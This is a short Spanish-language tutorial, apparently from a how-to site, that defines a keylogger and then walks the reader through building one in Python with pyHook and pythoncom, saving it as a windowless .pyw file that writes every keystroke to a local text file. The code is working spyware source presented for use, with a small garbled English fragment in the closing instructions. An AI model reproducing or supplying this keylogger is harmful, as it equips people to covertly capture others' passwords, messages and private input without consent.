keylogger es un programa que registra las pulsaciones de teclas y las guarda como un archivo de registro en un servidor a través de un túnel TCP inverso o en la propia máquina local.
Este malware se sitúa entre el teclado y el sistema operativo para interceptar y registrar la información sin que el usuario lo note. Además, un keylogger almacena los datos de forma local en el ordenador infectado y, en caso de que forme parte de un ataque mayor, permite que el atacante tenga acceso remoto al equipo de la víctima y registre la información en otro equipo.
¿Cómo crear Keylogger usando el Bloc de notas?
¡Empecemos!
1. Abra el Bloc de notas en su computadora y pegue el siguiente código:
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%
(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
2. Guarde el archivo como keylogger.pyw
3. Encienda su registrador de teclas
Haga doble clic en el archivo que acaba de crear y pruébelo, luego comience a escribir.
Cuando desee detener el registro, abra el administrador de tareas y elimine todos los procesos "python". Luego busque keyloggeroutput.txt en el mismo directorio donde the something.pyw es. Abrelo y deberías ver lo que hayas escrito.
NOTA: Puede que veas caracteres de aspecto extraño si lo abre con el bloc de notas, esos caracteres significan que pulsaste la tecla de retroceso.